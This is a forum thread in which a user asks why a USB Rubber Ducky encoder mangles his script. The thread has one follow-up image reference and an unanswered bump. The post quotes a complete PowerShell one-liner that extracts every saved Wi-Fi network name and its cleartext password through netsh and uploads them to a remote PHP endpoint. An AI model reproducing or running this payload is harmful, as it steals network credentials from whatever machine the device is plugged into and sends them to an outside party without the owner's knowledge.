voidnecron_ Posted December 19, 2016 Share Posted December 19, 2016 Hi all, I've created a ducky script which works fine when I execute the commands by hand, but fails after being encoded and run with the duck. The line in the code is: STRING $d=netsh wlan show profiles|sls -Pattern 'All User'|Foreach{$_.ToString()};$c=$d|Foreach{$_.Replace(' All User Profile : ',$null)};$z=ForEach($w in $c){netsh wlan show profiles $w key=clear};$p=$z|sls -Pattern 'SSID name','Key Content';(New-Object Net.WebClient).UploadString('http://IP_REMOVED/rx.php', $p) However the quote between -Pattern and All User is being dropped, as well as a single space from ' All User Profile'. Does anyone know why the encoding fails/does this? Bug in encoder? Cheers, Void Quote Link to comment Share on other sites More sharing options...
voidnecron_ Posted December 19, 2016 Author Share Posted December 19, 2016 I can't seem to edit my post, but here's the output picture to see the result. Output Quote Link to comment Share on other sites More sharing options...
voidnecron_ Posted January 8, 2017 Author Share Posted January 8, 2017 Really, nobody? Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.